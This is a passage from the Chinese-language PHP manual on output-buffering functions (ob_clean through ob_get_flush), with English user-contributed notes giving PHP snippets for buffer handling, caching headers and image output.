scottmacvicar at ntlworld dot com 30-Sep-2003 07:40
Regarding Apache2
flush() will produce the same results as ob_flush() when output buffering is involved.


清空（擦掉）输出缓冲区

  • ? flush
  • ob_end_clean ?
  • PHP Manual
  • 输出控制 函数
  • 清空（擦掉）输出缓冲区

ob_clean

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_clean — 清空（擦掉）输出缓冲区

说明

ob_clean(): bool

此函数用来丢弃输出缓冲区中的内容。

此函数不会像 ob_end_clean() 函数那样销毁输出缓冲区。

输出缓冲必须已被 ob_start() 以 PHP_OUTPUT_HANDLER_CLEANABLE 标记启动。否则 ob_clean() 不会有效果。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ob_flush() - 冲刷出（送出）输出缓冲区中的内容
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区
  • ob_end_clean() - 清空（擦除）缓冲区并关闭输出缓冲

User Contributed Notes

ngoc dot lo dot dang at gmail dot com 21-Jun-2017 09:24
Note that ob_clean() and ob_end_clean() do not clean header sent with header()
alexander at mralexander dot ca 07-May-2014 03:40
In case there is nothing output yet to the buffer and then implementing the ob_clean() a (soft) error notice would be generated such as the following:

Notice: ob_clean() [ref.outcontrol]: failed to delete buffer. No buffer to delete. in [file-path]

you could do a simple check with "ob_get_contents()" to make sure that there is anything in the buffer.
meustrus 12-Dec-2013 08:59
@cornel: It's easy enough to say "Don't do that" when you think you've got the person right in front of you. But one doesn't always have the original coder, or even one of a dozen of the original coders. Are you really suggesting that it would be wrong to use this function as a band-aid when the alternative may be looking through hundreds of source files you didn't write for errors you didn't introduce?

To your point, though, it is (or should be) a commonly accepted best practice to not put closing PHP tags at the end of files. When, however, enforcing that would take a time machine, it's appropriate to use ob_clean() as a band-aid to make dynamically generated images work as expected.
cornel at scoalaweb dot com 21-Dec-2012 11:02
Don't use ob_clean() to clear white-space or other unwanted content "accidentally" generated by included files.
Included files should not generate unwanted content in the first place.
If they do, You are doing something wrong, like inserting white-space after "?>" (there should not be a "?>" at the end of PHP files: http://php.net/manual/en/language.basic-syntax.phptags.php ).
lev at taintedthoughts dot com 12-Jun-2007 02:23
I find this function incredibly useful when manipulating or creating images in php (with GD).

I spent quite a while searching through a large number of included files to find where I had a undesired space after php's ending tag - as this was causing all my images on the fly to break due to output already being set. Even more annoying was that this was not caught not php's error reporting so there was no reference to the problem line(s) in my log file. I don't know why error reporting wouldn't catch this since it was set to accept warnings, and the same thing had been caught in the past.

Nevertheless, I never did find the line(s) that were adding extra spaces or new lines before my images were being generated, but what I did instead was add this handy function right before my image manipulation code and right after the include/require code.

For example:

<?php

// require some external library files
require ("lib/somelibrary.php");
require ("lib/class/someclass.php");

// clean the output buffer
ob_clean();

// simple test image
header("Content-type: image/gif");
$im = imagecreate (100, 50);
imagegif($im);
imagedestroy($im);

?>

While this may seem trivial a trivial use of the function, it in fact is incredibly useful for insuring no extra spaces or new lines have already been output while making images in php. As many of you probably already know, extra lines, spacing and padding that appears prior to image-code will prevent the image from being created. If the file "lib/somelibrary.php" had so much as an extra new line after the closing php tag then it would completely prevent the image from working in the above script.

If you work on an extremely large project with a lot of source and required files, like myself, you will be well-advised to always clear the output buffer prior to creating an image in php.


清空（擦除）缓冲区并关闭输出缓冲

  • ? ob_clean
  • ob_end_flush ?
  • PHP Manual
  • 输出控制 函数
  • 清空（擦除）缓冲区并关闭输出缓冲

ob_end_clean

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_end_clean — 清空（擦除）缓冲区并关闭输出缓冲

说明

ob_end_clean(): bool

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容，必须在 ob_end_clean() 之前调用 ob_get_contents()，因为当调用 ob_end_clean() 时缓冲区内容将被丢弃。

输出缓冲区必须由带有 PHP_OUTPUT_HANDLER_CLEANABLE 和 PHP_OUTPUT_HANDLER_REMOVABLE flag 的 ob_start() 启动。否则 ob_end_clean() 将不起作用。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。 错误的原因首先是，在调用时没有一个起作用的缓冲区，或者是因为某些原因缓冲区不能被删除（可能对特殊缓冲区而言）。

错误／异常

如果函数失败了，将引发一个E_NOTICE异常。

示例

下面的例子给出了一种去除所有输出缓冲区的方法：

Example #1 ob_end_clean() 示例

<?php
ob_start();
echo 'Text that won\'t get displayed.';
ob_end_clean();
?>

参见

  • ob_start() - 打开输出控制缓冲
  • ob_get_contents() - 返回输出缓冲区的内容
  • ob_flush() - 冲刷出（送出）输出缓冲区中的内容

User Contributed Notes

baklanoid at gmail dot com 23-Apr-2020 09:34
If there is no confidence about output buffering (enabled or not),
you may try these guards:

<?php

while (ob_get_level() !== 0) {
  ob_end_clean();
}

// or

while (ob_get_length() !== false) {
  ob_end_clean();
}

?>
Anonymous 19-Oct-2017 07:04
To safely clear and close all non-lethal output buffers:

<?php

function ob_end_clean_all() {
    $handlers = ob_list_handlers();
    while (count($handlers) > 0 && $handlers[count($handlers) - 1] != 'ob_gzhandler' && $handlers[count($handlers) - 1] != 'zlib output compression') {
        ob_end_clean();
        $handlers = ob_list_handlers();
    }
}
Sam Yong - hellclanner at live dot com 04-May-2011 10:14
Take note that if you change zlib output compression setting in between ob_start and ob_end_clean or ob_end_flush, you will get an error: ob_end_flush() failed to delete buffer zlib output compression

Example:

<?php

ob_start();

$output = ob_get_contents();

ini_set('zlib.output_compression', '1');

ob_end_clean();

?>

ob_end_clean(); in this example will throw the error.
netom at elte dot hu 21-Jan-2010 04:02
Notice that ob_end_clean() does discard headers.

If you would like to clear the output buffer, but not the headers (because you use firephp for example...), than this is the solution:

<?php
   ...

    $headers = array();
    if ( !headers_sent() ) {
      $headers = apache_response_headers();
    }

    ob_end_clean();
    ob_start();

    if ( !empty( $headers ) ) {
      foreach ( $headers as $name => $value ) {
        header( "$name: $value" );
      }
    }

   ...
?>

I use it in a general exception handler in a web application, where I clear the buffer (but not the debug-info-containing headers), and send a 500 error page with readfile().

Good PHPing,

Tamas.
tyler @ 10-Aug-2008 04:39
In reference to <geoff at spacevs dot com> where he states, "If you call ob_end_clean in a function registered with 'register_shutdown_function', it is too late, any buffers will have already been sent out to the client.", here is a workaround I came up with.

<?php

function ClearBuffer($Buffer) {
    return "";
}

function Shutdown() {
    ob_start("ClearBuffer");
}

register_shutdown_function("Shutdown");

?>

This will wipe out all the contents of the output buffer as it comes in. Basically its the same as "STDOUT > /dev/null".
geoff at spacevs dot com 22-Jul-2007 05:47
If you call ob_end_clean in a function registered with "register_shutdown_function", it is too late, any buffers will have already been sent out to the client.
everling 11-Nov-2006 02:04
Keep in mind that mrfritz379's example (#49800) is just an example. You can achieve that example's result in a more efficient manner without using output buffering functions:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
  $dh = opendir($dir);

  while (($fd = readdir($dh)) != false) {
    echo " .";
    $output .= $fd;
  }
}
echo "</br>Search Complete!</p>\n";
echo $output;

In addition to John Smith's comment (#42939), ob_gzhandler() may still set the HTTP header "Content-Encoding" to "gzip" or "deflate" even if you call ob_end_clean(). This will cause a problem in the following situation:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Echo "New content";

In the above case, the browser may receive the "Content-Encoding: gzip" HTTP header and attempts to decompress the uncompressed "New content". The browser will fail.

In the following situation, this behaviour will go unnoticed:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Call ob_gzhandler().
5. Echo "New content";

This is because the second ob_gzhandler() will mask the absence of the first ob_gzhandler().

A solution would be to write a wrapper, like John Smith did, for the ob_gzhandler().
Adam of Fusion Bay 18-May-2006 12:38
You may want to be careful about calling ob_end_clean() from within your call-back function. I believe this can produce an endless-loop within PHP.
mrfritz379 08-Feb-2005 06:14
This may be posted elsewhere, but I haven't seen it.
To run a progress indicator while the program is running without outputting the output buffer, the following will work:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
   $dh = opendir($dir);

   while (($fd = readdir($dh)) != false) {
      echo " .";
      ob_start();
      echo $fd;
      $output .= ob_get_contents();
      ob_end_clean();
    }
}
echo "</br>Search Complete!</p>\n";
echo $output;

The program will continue to print the " ." without printing the file list. Then the "Search Complete" message will print followed by the buffered file list.
John Smith 04-Jun-2004 04:39
Note that if you started called ob_start with a callback, that callback will still be called even if you discard the OB with ob_end_clean.

Because there is no way of removing the callback from the OB once you've set it, the only way to stop the callback function from having any effect is to do something like:

<?php
$ignore_callback = false;
ob_start('my_callback');
...
if($need_to_abort) {
   $ignore_callback = true;
   ob_end_clean();
   ...
}

function my_callback(&$buffer) {
  if($GLOBALS['ignore_callback']) {
     return "";
  }
  ...
}
?>
daijoubuNOSP at Mvideotron dot com 22-Feb-2004 01:11
About the previous comment:
You can also relay on ETag and simply use time()

<?php
$time = time();
$mins = 1;
if (isset($_SERVER['HTTP_IF_NONE_MATCH']) and str_replace('"', '', $_SERVER['HTTP_IF_NONE_MATCH'])+($mins*60) > $time)
{
    header('HTTP/1.1 304 Not Modified');
    exit();
}
else
{
    header('ETag: "'.$time.'"');
}
echo 'Caching for ', $mins*60, 'secs<br/>', date('G:i:s');
?>
programmer at bardware dot de 27-Jun-2003 06:32
You might want to prevent your script from executing if the client already has the latest version.
You can do it like so:

ob_start();

$mtime=filemtime($_SERVER["SCRIPT_FILENAME"])-date("Z");
$gmt_mtime = date('D, d M Y H:i:s', $mtime) . ' GMT';

$headers = getallheaders();

if(isset($headers["If-Modified-Since"])) {
    if ($headers["If-Modified-Since"] == $gmt_mtime) {
        header("HTTP/1.1 304 Not Modified");
        ob_end_clean();
        exit;
    }
}

$size=ob_get_length();
header("Last-Modified: ".$gmt_mtime);
header("Content-Length: $size");
ob_end_flush();

Instead of checking the If-Modified-Since-Header against the date of the last modification of the script, you can of course query a database or take any other date that is somehow related to the modification of the result of your script.

You can for instance use this technique to generate images dynamically. If the user indicates he already has a version of the image by the If-Modified-Since-Header, there's no need to generate it and let the server finally discard it because the server only then interpretes the If-Modified-Since-Header.
This saves server load and shortens response-times.


冲刷出（送出）输出缓冲区内容并关闭缓冲区

  • ? ob_end_clean
  • ob_flush ?
  • PHP Manual
  • 输出控制 函数
  • 冲刷出（送出）输出缓冲区内容并关闭缓冲区

ob_end_flush

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_end_flush — 冲刷出（送出）输出缓冲区内容并关闭缓冲区

说明

ob_end_flush(): bool

这个函数将送出最顶层缓冲区的内容（如果有），并关闭此缓冲区。如果想进一步处理缓冲区中的内容，必须在 ob_end_flush() 之前调用 ob_get_contents()，因为在调用 ob_end_flush() 后缓冲区内容被丢弃。

输出缓冲区必须带有 PHP_OUTPUT_HANDLER_FLUSHABLE 和 PHP_OUTPUT_HANDLER_REMOVABLE flag 的 ob_start() 启动。否则 ob_end_flush() 将不起作用。

Note: 这个函数与 ob_get_flush() 相似，不同的是 ob_get_flush() 会把缓冲区中的内容作为字符串返回。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。 错误的原因首先是没有在激活的缓冲区中调用该函数，或者是因为某些原因缓冲区不能被删除（可能是特殊缓冲区）。

错误／异常

如果函数失败了，将生成 E_NOTICE 异常。

示例

Example #1 ob_end_flush() 示例

下面的例子给出了一种送出缓冲区内容并关闭所有输出缓冲区的容易的方法：

<?php
while (@ob_end_flush());
?>

参见

  • ob_start() - 打开输出控制缓冲
  • ob_get_contents() - 返回输出缓冲区的内容
  • ob_get_flush() - 刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲区
  • ob_flush() - 冲刷出（送出）输出缓冲区中的内容
  • ob_end_clean() - 清空（擦除）缓冲区并关闭输出缓冲

User Contributed Notes

Patrick 19-Nov-2023 04:50
NOTE: In IIS, flushing the output buffer doesnt work until you add the following to your web.config file under the PHP handler:

responseBufferLimit="0"

I discovered this when I would only get SSE output when the script failed.
nico (at) nokes.de 26-Aug-2012 04:24
best way to compress a css code:

<?php
  header('Content-type: text/css');

  ob_start("compress");
  function compress($buffer) {
    // remove comments
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    // remove tabs, spaces, newlines, etc.
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $buffer);
    return $buffer;
  }

  include('./template/main.css');
  include('./template/classes.css');

<?php
  ob_end_flush();
?>

Include in <head>:
<link rel="stylesheet" type="text/css" href="/design.php" media="all" />
anatoliy at miraline dot com 11-Apr-2011 09:06
If you enable zlib.output_compression then level count will be increased by 1 and then this code:

<?php while (ob_get_level()) { ob_end_clean(); } ?>

will just freeze your script.
Mark 24-Jun-2010 01:49
Wanted to speed things up and put some processing after the page has been delivered to the client. That drove me almost insane, but finally, I found a solution (php 5.2.5):

<?php
ob_start(); // outer buffer
ob_start(); // inner buffer to catch URL rewrites and other post processing
session_start(); // registers URL rewriter with inner buffer!
echo '...';
// log performance data to log files *after* delivering the page!
register_shutdown_function(array($benchmarkclass,'log_perf_data'));
// now flush output output to client
ob_end_flush();
// need to calculate content length *after* URL rewrite!
header("Content-length: ".ob_get_length());
ob_end_flush();
// now we close the session and do some arbitrary clean-up tasks
// registered using register_shutdown_function()
session_write_close();
?>
unxed 06-Mar-2010 06:50
Remember that chromium browser (and maybe other webkit-based browsers) have some issues with ob_end_flush.

http://code.google.com/p/chromium/issues/detail?id=31410

You may use
header("Content-Type: text/plain");
to solve those issues if you do not need html.
shanep 21-Jan-2010 09:31
It appears that ob_end_flush() is very important if you are looping.  For instance if you are using a mass mailer that uses the output buffer for creating HTML content.  Use ob_end_flush() to avoid server errors.
skippy at zuavra dot net 01-Jul-2005 02:10
Apart from being mostly redundant, ob_end_flush() can be downright damaging in some weird cases.

Actual example: a particular page on an Intranet website which would appear blank on Internet Explorer 6 when ob_start('ob_gzhandler') was called in the beginning and ob_end_flush() at the end.

We couldn't figure out what made that page special no matter what we tried. The ob_ functions were placed in scripts which were include()'d by all pages just the same, but only that page did this.

Even stranger, the problem only appeared on direct browser/server connections. Whenever the connection passed through a proxy the problem dissapeared. I'm guessing some kind of HTTP encoding headers mumbo-jumbo.

Solution: unless you really need it in particular cases, remove the ob_end_flush() call and rely on the builtin, automatic buffer flush.
jhannus at 128kb dot com 05-Jun-2004 09:18
A note on the above example...

with PHP 4 >= 4.2.0, PHP 5 you can use a combination of ob_get_level() and ob_end_flush() to avoid using the @ (error suppresion) which should probably be a little faaster.

<?php

while (ob_get_level() > 0) {
    ob_end_flush();
}

?>
kriek at jonkriek dot com 29-Mar-2003 09:22
ob_end_flush() isn't needed in MOST cases because it is called automatically at the end of script execution by PHP itself when output buffering is turned on either in the php.ini or by calling ob_start().
brett at realestate-school dot com 26-Sep-2002 01:01
It appears that you can call ob_end_flush() regardless of whether or not output buffering was ever started using ob_start(). This can prove useful because it saves you from having to create conditional statements based on whether a particular function or include file has started output buffering. You can simply call the ob_end_flush() anyway and if there's output in the buffer, it will be sent, otherwise your script will just keep on keepin' on.


冲刷出（送出）输出缓冲区中的内容

  • ? ob_end_flush
  • ob_get_clean ?
  • PHP Manual
  • 输出控制 函数
  • 冲刷出（送出）输出缓冲区中的内容

ob_flush

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_flush — 冲刷出（送出）输出缓冲区中的内容

说明

ob_flush(): bool

这个函数将送出缓冲区的内容（如果里边有内容的话）。如果想进一步处理缓冲区中的内容，必须在ob_flush()之前调用ob_get_contents() ，因为在调用ob_flush()之后缓冲区内容将被丢弃。

此函数不会销毁输出缓冲区，而像ob_end_flush() 函数会销毁缓冲区。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ob_get_contents() - 返回输出缓冲区的内容
  • ob_clean() - 清空（擦掉）输出缓冲区
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区
  • ob_end_clean() - 清空（擦除）缓冲区并关闭输出缓冲

User Contributed Notes

thecichos at gmail dot com 21-Nov-2023 12:12
The output buffer seems to work best when the server is returning a code 206 and setting the output_buffering lower temporarily to let it fill up

This tells the browser to wait for additional content
for example:
// Set the header to 206
header("HTTP/1.1 206 Partial Content; Content-Type: text/html; CHARSET=gb2312");

// Flush the current outputbuffer
flush();
ob_flush();
ob_end_flush();

// Create a new output buffer
ob_start();

// Save the current output buffer size
$tempBuffering = ini_get("output_buffering");

// Set a new, much smaller buffer size
ini_set("output_buffering", 256);

// Do some buffering
!!!   All your amazing code goes here   !!!

// Fill the buffer with something if needed
echo str_pad(" ", (int)ini_get("output_buffering"), " ");
flush();
ob_flush();

// Revert the buffer size
ini_set("output_buffering", $tempBuffering);
jake at qzdesign dot co dot uk 12-Oct-2018 11:24
If there is no active output buffer, an error of level E_NOTICE is generated (at least in PHP 7.1).  To avoid this, test first with `ob_get_level()`.
chris - latko - org 19-Aug-2015 10:53
Although browsers now have an all or none buffering strategy, the arguments are not moot.

If you are not using ob_flush, you run this risk of exceeding socket timeouts (commonly seen in php-fpm/nginx combos).

Basically, flushing solves the infamous 504 Gateway Time-out error.
cesoid at gmail dot com 08-Mar-2013 08:30
Currently I have Chrome on OS X Snow Leopard updating a page as it is sent more data, BUT it only does this after I send it <body> along with 1013 more characters (making 1019 total characters). After it receives this it immediately displays it and then displays anything else as it is received. (Note that this browser-operating system combination isn't necessarily the only one, it's just the only one I've tested.)

In order to do this using php, I've done nothing but send ob_flush() after each echo or print. I can also make it happen without ob_flush() by calling ob_implicit_flush(), then ob_end_flush() before print, and then it updates with each print after that. I have pretty typical settings and I change none of them when the file runs, it literally looks like this:

<?php
  ob_implicit_flush();
  ob_end_flush();
  ?><body>[1013 more characters]<?php
  for ($i = 1; $i < 30000000; ++$i) {}
  echo "something that didn't show up immediately";
?>

(Ok, the "[1013 more characters]" part wasn't strictly literal.)

If you want just text in the browser, you do this before everything else:

<?php
header("Content-type: text/plain");
...
?>

Then it won't care whether you sent a body tag, it will just wait for 1019 characters.
Lee 11-Aug-2012 11:23
As of August 2012, all browsers seem to show an all-or-nothing approach to buffering. In other words, while php is operating, no content can be shown.

In particular this means that the following workarounds listed further down here are ineffective:

1) ob_flush (),  flush () in any combination with other output buffering functions;

2) changes to php.ini involving setting output_buffer and/or zlib.output_compression to 0 or Off;

3) setting Apache variables such as "no-gzip" either through apache_setenv () or through entries in .htaccess.

So, until browsers begin to show buffered content again, the tips listed here are moot.
dermeister dot online at gmail dot com 05-Jul-2012 01:43
some problems with ob_flush() and flush() could be resolved by defining content type header :
header( 'Content-type: text/html; CHARSET=gb2312' );

so working code looks like this:
<?php
header( 'Content-type: text/html; CHARSET=gb2312' );
echo 'Begin ...<br />';
for( $i = 0 ; $i < 10 ; $i++ )
{
    echo $i . '<br />';
    flush();
    ob_flush();
    sleep(1);
}
echo 'End ...<br />';
?>
riimeik 17-Oct-2010 01:44
If you're still not getting the buffer work correctly then try to clean all the others before starting your own (and even if PHP tells you that there are no buffers active):

while(@ob_end_clean());
sebastian at jcompare dot com 26-Apr-2009 07:05
For some reason, calling just flush or ob_flush or even both together did not get my output buffers flushed, and calling ob_end_flush by itself didn't work either but calling them all worked well. Here is my new output flushing function.

<?php
function flush_buffers(){
    ob_end_flush();
    ob_flush();
    flush();
    ob_start();
}
?>

Enjoy
Jens 29-Oct-2008 07:01
If you call ob_flush() and flush() and still dont get the buffer flushed it might be because some antivirus software (Panda in this case) holds the buffer until the page has finished loaded before sending it to the browser.
colnector at@ colnect punto com 08-Jul-2008 04:35
As stated in flush() manual entry, if php compresses the ouput with zlib this function may be ineffective.

A possible option for folders on your server that have scripts which may take a long time to run is to add the following in your relevant .htaccess file:

<FilesMatch "\.(php|html?)$">
php_flag zlib.output_compression off
php_value max_execution_time 3000
php_value max_input_time 3000
</FilesMatch>
kel at no-spam dot newcastleinfotech dot com dot au 05-Jun-2008 09:33
Also note that any data in the buffer will flush at the end of the script, not destroyed, so it is often not necessary to call ob_flush(); for example:

<?php
ob_start();
echo 'Hello World!'
?>

Will still result in Hello World! being displayed to the browser.
21-Sep-2005 06:37
I was having problems with output buffering which seemed to be active by default on the server, although phpinfo said something else..

In any case I needed to know that when I ran ob_start, it would start at the top level, so I could use ob_flush as it's intended without having to call multiple ob_flush in-script - this is what I did:

<?php

// make sure output buffering is off before we start it
// this will ensure same effect whether or not ob is enabled already
while (ob_get_level()) {
    ob_end_flush();
}
// start output buffering
if (ob_get_length() === false) {
    ob_start();
}

?>

Then I could call ob_flush(); followed by flush(); and get the output I wanted, which I didn't if I started the script with just ob_start();

This was on a windows apache 2 server with php 5.0.4 btw.
24-Jun-2005 06:27
You must call them in the correct order.
ob_flush();
flush();
Reynard Hilman 22-Jun-2005 02:29
when using command line php, if somewhere in your script you have ob_start(), you have to call ob_end_flush() first, and then you can call these functions:
flush();
ob_flush();

without calling ob_end_flush first, flush and ob_flush does not have any effect, at least that's what I experienced.
jeremy at e2-media dot co dot nz 25-May-2005 04:09
we had problems with flushing data to the browser. a simple call to ob_flush() or flush() would not work. We found that repeatly calling theses fuctions did work however.

<?
flush();
ob_flush();
flush();
ob_flush();
flush();
ob_flush();
?>

go figure!


得到当前缓冲区的内容并删除当前输出缓冲区

  • ? ob_flush
  • ob_get_contents ?
  • PHP Manual
  • 输出控制 函数
  • 得到当前缓冲区的内容并删除当前输出缓冲区

ob_get_clean

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_get_clean — 得到当前缓冲区的内容并删除当前输出缓冲区

说明

ob_get_clean(): string|false

得到当前缓冲区的内容并删除当前输出缓冲区。

ob_get_clean() 实质上是一起执行了
ob_get_contents() 和
ob_end_clean()。

输出缓冲区必须由带有 PHP_OUTPUT_HANDLER_CLEANABLE 和 PHP_OUTPUT_HANDLER_REMOVABLE flag 的 ob_start() 启动。否则 ob_get_clean() 将不起作用。

参数

此函数没有参数。

返回值

返回输出缓冲区的内容，并结束输出缓冲区。如果输出缓冲区不是活跃的，即返回 false 。

示例

Example #1 ob_get_clean() 的简单示例

<?php

ob_start();

echo "Hello World";

$out = ob_get_clean();
$out = strtolower($out);

var_dump($out);
?>

以上示例会输出：

string(11) "hello world"

参见

  • ob_get_contents() - 返回输出缓冲区的内容
  • ob_start() - 打开输出控制缓冲

User Contributed Notes

Peter Smartt 30-Oct-2017 08:58
I was trying to debug my code using error_log() and I discovered that ob_get_clean() also truncates the error_log() buffer right in the middle of its output, and well as the output buffer which it is supposed to truncate.  If you are using error_log(), use ob_get_contents() and ob_end_clean() instead of ob_get_clean().
geo dot artemenko at gmail dot com 12-Mar-2014 10:04
The definition should mention that the function also "turns off output buffering", not just cleans it.
paul+phpnet at earth2me dot com 08-Oct-2013 12:08
Keep in mind that output may be buffered by default, depending on how you are running PHP (CGI, CLI, etc.).   You can use ob_get_level() to determine if an output buffer has already been started.  On most web servers I've used, output buffering is already one level deep before my scripts start running.

You should only end as many output buffers as you start.  Assuming that your buffer is always the first buffer, or otherwise closing pre-existing buffers, could lead to problems.  In PHP 5.5, you can ensure that output buffers are ended properly using a try-finally block.

Something like this is almost guaranteed to break stuff:

<?php
// Don't ever do this!
while (ob_get_level() > 1)
{
    ob_end_flush();
}

$content = ob_get_clean();
?>

The problem is that number, "1".  Using a fixed number there is asking for trouble.  Instead, use ob_get_level() to get the number of output buffers applied when your code starts, and return to that number, if you really must use an unknown number of output buffers:

<?php
ob_start();
$saved_ob_level = ob_get_level();

// Do stuff here:
run_something();

// If you really must close all of your output buffers except one, this'll do it:
while (ob_get_level() > $start_ob_level)
{
    ob_end_flush();
}

// And now, the final output buffer that belongs to us:
$content = ob_get_clean();
?>
sergei dot solomonov at gmail dot com 25-Aug-2012 04:20
<?php
ob_start();
echo "1";
$content = ob_get_clean();

echo "2";
$content .= ob_get_clean();

echo $content;
?>

This script outputs 21 in CLI mode and 12 otherwise (under my apache and nginx)
steven at bielik dot com 21-Feb-2011 11:57
Also, don't forget that you will need to ob_start() again for any successive calls:

<?php
ob_start();
echo "1";
$content = ob_get_clean();

ob_start(); // This is NECESSARY for the next ob_get_clean() to work as intended.
echo "2";
$content .= ob_get_clean();

echo $content;
?>

Output: 12

Without the second ob_start(), the output is 21 ...
ludvig dot ericson at gmail dot com 10-Aug-2005 07:10
Notice that the function beneath does not catch errors, so throw in an @ before those ob_* calls


返回输出缓冲区的内容

  • ? ob_get_clean
  • ob_get_flush ?
  • PHP Manual
  • 输出控制 函数
  • 返回输出缓冲区的内容

ob_get_contents

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_get_contents — 返回输出缓冲区的内容

说明

ob_get_contents(): string|false

只是得到输出缓冲区的内容，但不清除它。

参数

此函数没有参数。

返回值

此函数返回输出缓冲区的内容，或者如果输出缓冲区无效将返回 false。

示例

Example #1 ob_get_contents() 简单示例

<?php

ob_start();

echo "Hello ";

$out1 = ob_get_contents();

echo "World";

$out2 = ob_get_contents();

ob_end_clean();

var_dump($out1, $out2);
?>

以上示例会输出：

string(6) "Hello "
string(11) "Hello World"

参见

  • ob_start() - 打开输出控制缓冲
  • ob_get_length() - 返回输出缓冲区内容的长度

User Contributed Notes

Mark Clements 03-Oct-2014 08:38
Note that, unlike PHP variables which make efficient use of memory, getting the contents of the output buffer results in a new copy of the buffer being made.  This can end up massively increasing the memory requirements of your script if your output is large.

Example code:

<?php

print(memory_get_usage() . "<br>");

ob_start();

for ($i = 0; $i < 5000000; $i++)
    print(" ");

print(memory_get_usage() . "<br>");

$foo = ob_get_contents();

print(memory_get_usage() . "<br>");

ob_end_flush();

?>

Output:

  351664
 5359152
10359256
ipfound at gmail dot com 01-Oct-2014 07:13
The ob_get_contents() function has different return behaivor in PHP 5.3.x and PHP 5.5.x. Take a look at very simple example for PHP 5.3

<?php
var_dump(ob_get_contents());
?>
Output: bool(false)

but in PHP 5.5.x, the same php code will return:
Output: string (0) ""

Actually, we can use type regulation - intval(ob_get_contents()), for cheking On/Off output buffering, but it lays the possible problems in the future.
DrDreistein at dontknow dot at 04-Oct-2011 04:07
i made a simple test which is faster: adding some text in the normal way or by the ob stack:

<?php
$start = microtime(true);
$var = '';
for($i=0 ; $i <= 1000000 ; $i++) {
    $var .= ' ';
}
$middle = microtime(true);

ob_start();
for($i=0 ; $i <= 1000000 ; $i++) {
    echo ' ';
}
$var = ob_get_contents();
ob_end_clean();

$end = microtime(true);

echo $middle - $start;
echo '<br />';
echo $end - $middle;
?>

Outputs something like this:

0.33658003807068
0.30778789520264
mauroasprea+php at gmail dot com 30-Dec-2010 08:10
This is an example of how the stack works:

<?php
//Level 0
ob_start();
echo "Hello ";

//Level 1
ob_start();
echo "Hello World";
$out2 = ob_get_contents();
ob_end_clean();

//Back to level 0
echo "Galaxy";
$out1 = ob_get_contents();
ob_end_clean();

//Just output
var_dump($out1, $out2);
?>
m227 ( at ) poczta dot onet dot pl 24-Feb-2005 06:53
if you use ob_start with a callback function as a parameter, and that function changes ob string (as in example in manual) don't expect that ob_get_contents will return changed ob.
it will work as you would use ob_start with no parameter at all. So don't be confused.
http://www.francescosaf.altervista.org 08-Feb-2005 02:04
transfer image, another method (alternative to fsockopen or function socket) :

server(192.168.0.1)
makeimage.php
       ...........
       ...........
       $nameimage="xxxx.jpg"
       $comand=exec("plotvelocity.sh $nameimage $paramater1 $paramater2");
       ob_start();
        readfile($nameimage);
        $image_data = ob_get_contents();
        ob_end_clean();
        echo $image_data;
        unlink($nameimage);

Client  (192.168.0.2)
  $bild="images/newimage2.gif";
  $host="192.168.0.1";
  $url=file_get_contents("http://$host/makeimage.php?$querystring");
  $fp = fopen("$bild", 'wb');
  fwrite($fp, $url);
  fclose($fp);
  echo '<img src="'.$bild.'">';

naturally you can transfer whichever thing and not only images


刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲区

  • ? ob_get_contents
  • ob_get_length ?
  • PHP Manual
  • 输出控制 函数
  • 刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲区

ob_get_flush

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_get_flush — 刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲区

说明

ob_get_flush(): string|false

ob_get_flush() 刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲。

输出缓冲区比由带有 PHP_OUTPUT_HANDLER_FLUSHABLE flag 的 ob_start() 启动。否则 ob_get_flush() 将不起作用。

Note: 此函数与 ob_end_flush() 相似，不同的是此函数会把缓冲区作为字符串返回。

参数

此函数没有参数。

返回值

返回输出缓冲区的内容或者没有缓冲区激活时返回 false。

示例

Example #1 ob_get_flush() 示例

<?php
// 使用 output_buffering=On
print_r(ob_list_handlers());

// 保存缓冲区到文件
$buffer = ob_get_flush();
file_put_contents('buffer.txt', $buffer);

print_r(ob_list_handlers());
?>

以上示例会输出：

Array
(
    [0] => default output handler
)
Array
(
)

参见

  • ob_end_clean() - 清空（擦除）缓冲区并关闭输出缓冲
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区
  • ob_list_handlers() - 列出所有使用的输出处理程序

User Contributed Notes

taras dot dot dot di at gmail dot com 14-Aug-2008 07:53
I don't know how exactly this works, but if you call this function, PHP would behave as if headers have been sent (even though the output has gone to a string).

This means that you can't call this function, and then call setcookie for example.

This was verified by trial and error
info at pcdoctor dot fr 08-Jun-2008 08:35
Hi,
this is just to add a behavior that I haven't understud at first place.

ob_get_flush actually returns the content of the buffer as a text but also it sends the buffer back to the browser so that it's displayed on user screen.

Use ob_get_clean if you do not want the buffer to be send to the user
zubin@byron 07-Sep-2005 07:28
Correction to previous post: ob_get_clean() is better, ie:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
